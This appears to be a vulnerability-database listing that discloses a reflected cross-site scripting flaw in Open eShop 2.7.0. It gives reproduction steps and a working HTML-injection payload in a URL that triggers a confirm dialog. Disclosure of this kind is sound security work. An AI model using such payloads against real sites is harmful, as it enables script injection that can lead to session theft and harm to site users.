Lucene search

K
zdtTmrswrr1337DAY-ID-39552
HistoryApr 12, 2024 - 12:00 a.m.

Open eShop 2.7.0 Cross Site Scripting Vulnerability

2024-04-1200:00:00
tmrswrr
0day.today
58
vulnerability
cross site scripting
open eshop 2.7.0
vendor homepage
exploit

7.4 High

AI Score

Confidence

Low

# Exploit Title: Open eShop Version : 2.7.0  - Reflected XSS
# Exploit Author: tmrswrr 
# Vendor Homepage: http://www.open-eshop.com/
# Version : 2.7.0

1 ) Go to home page https://127.0.0.1/Open_eShop
2 ) Write url this payload : test.html"><img src=x onerrora=confirm() onerror=confirm(1)>

3 ) After save it you will be see xss alert

https://127.0.0.1/Open_eShop/test.html"><img src=x onerrora=confirm() onerror=confirm(1)>

7.4 High

AI Score

Confidence

Low